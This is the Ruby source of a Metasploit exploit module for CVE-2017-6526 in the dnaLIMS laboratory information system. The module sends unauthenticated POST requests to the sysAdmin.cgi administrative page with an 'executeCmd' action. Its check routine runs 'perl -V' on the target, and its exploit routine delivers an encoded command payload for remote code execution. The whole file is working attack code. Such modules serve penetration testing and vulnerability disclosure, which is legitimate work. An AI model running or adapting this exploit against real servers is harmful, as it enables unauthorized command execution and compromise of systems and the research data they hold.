106 lines
2.9 KiB
Ruby
106 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'dnaLIMS Admin Module Command Execution',
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'Description' => %q{
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This module utilizes an administrative module which allows for
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command execution. This page is completely unprotected from any
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authentication when given a POST request.
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},
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'Author' =>
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[
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'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
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'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2017-6526'],
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['US-CERT-VU', '929263'],
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['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
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],
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'Platform' => %w( linux unix ),
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 8 2017'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
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], self.class
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)
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end
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def check
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begin
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
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'method' => 'POST',
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'vars_post' => {
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'investigator' => '',
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'username' => '',
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'navUserName' => '',
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'Action' => 'executeCmd',
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'executeCmdData' => 'perl -V'
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}
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)
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if res && res.body
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if /Summary of/ =~ res.body
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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else
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Exploit::CheckCode::Safe
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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def exploit
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begin
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vprint_status('Sending Exploit')
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
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'method' => 'POST',
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'vars_post' => {
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'investigator' => '',
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'username' => '',
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'navUserName' => '',
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'Action' => 'executeCmd',
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'executeCmdData' => payload.encoded,
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}
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)
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vprint_good(res.body)
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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end
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